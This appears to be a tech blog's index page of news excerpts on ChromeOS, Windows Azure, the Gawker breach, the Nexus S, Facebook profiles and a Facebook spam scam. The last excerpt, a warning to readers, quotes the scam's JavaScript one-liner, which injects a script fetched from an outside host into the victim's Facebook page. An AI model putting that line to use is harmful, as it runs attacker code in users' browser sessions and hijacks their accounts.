Former Googler, FriendFeed founder Paul Buchheit just tweeted a few hours ago– Prediction: ChromeOS will be killed next year (or “merged” with Android) He continued: ChromeOS has no purpose that isn’t better served by Android (perhaps with a few mods to support a non-touch display). I was thinking, “is this too obvious to even state?”, but then I see people taking ChromeOS seriously, and Google is even shipping devices for some reason. ...

I’m really glad to announce that cosmoGeek is now featured on Alltop.com, a popular news aggregating site. Alltop is an “online magazine rack” of the web. cosmoGeek will be sharing the space in the top technology news page along with some high profile blogs like Mashable, Techcrunch, Engadget and many more!

Girish Kundlani speaks about Windows Azure and its benefits in an exclusive interview with MSDN blog team as a part of their ‘Real World Windows Azure’ series. Windows Azure is the real cloud computing platform that allows Microsoft datacenters to host and run applications. Rather than providing software that customers can install and run themselves on their own computers, Windows Azure today is a service: Customers use it to run applications and store data on Internet-accessible machines owned by Microsoft. ...

LinkedIn took an advanced and aggressive measure today in response to Gawker Media’s massive security breach. Most of the Gawker comprised users got an email that their account is suspended from any further data breach. LinkedIn email to users read - “…In order to ensure that you continue to have the best experience using LinkedIn, we are constantly monitoring our site to make sure your account information is safe. We have recently disabled your account for security reasons…” ...

More than a decade ago, Bill Gates introduced the world an entirely new concept of computing – Tablet PC. However, the tablet boom really kicked off when Apple brought the magical iPad. And here is the exciting news from The New York Times - Next month, at the 2011 Consumer Electronics Show in Las Vegas, Microsoft will give it another try, presenting a slew of new slates that it hopes will offer some competition to the Apple iPad, which has quickly become the leader in this market. ...

With Android 2.3 just days away from its official release, Google has decided that the Android Market should get redesigned. In a blog post, Google made an announcement that this market client update will be rolled out in over next two weeks to all devices running Android 1.6 or higher. Users can quickly flip through the carousel to view promoted applications and immediately go to the download page for the application they want. ...

On Monday, Google has officially unveiled the Nexus S, the latest Smartphone to be developed and branded by the company after Nexus One. Nexus S comes pre-installed with the latest version of Android 2.3 nicknamed Gingerbread and of course, this would be the first phone running Gingerbread. This Samsung manufactured phone features a 1GHz Cortex A8 (Hummingbird) processor and 16GB iNAND flash memory. The phone includes both a front-facing camera to facilitate video-chatting and a 5-megapixel camera on the back for conventional snapshots. More features on the official webpage. ...

Today, Facebook introduced all new profile design in which it claims it will be much easier for you to tell your story and learn about your friends! This will roll out gradually to all users in over next few days. If you aren’t able to wait that long, you can get the new profile by visiting http://www.facebook.com/about/profile. So, what’s new with this new design - A New Introduction – It begins with basic info such as where you’re from, where you went to school, and where you work - the kinds of conversation starters you share with people you’ve just met ...

I’ve recently came across this strange news about a Pakistani website (old news indeed), who have got around 12 lakh Indian users. This discussion raised again after the recent attack by Pakistan Cyber Army on over 270 Indian websites including CBI’s official website. Cyber war between India and Pakistan is very old and anti-India elements in Pakistan are planning to attack Indian computer networks. There are some websites constantly in news for supporting terrorism. Songs.pk is one of the websites in the list. ...

Another one sleazy spam is now underway on Facebook and it involves showing people Face-book images rotate 360*. Similar one is pretending to show Really cool Facebook revolving images. cosmoGeek instantly alerted its members about these kind of spams in past few days via Facebook fan page and Twitter. All these users unfortunately and unknowingly copy pasted the following script into their browser address bars hoping to see revolving images. JavaScript:(a = (b = document).createElement("script")).src = "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0) ...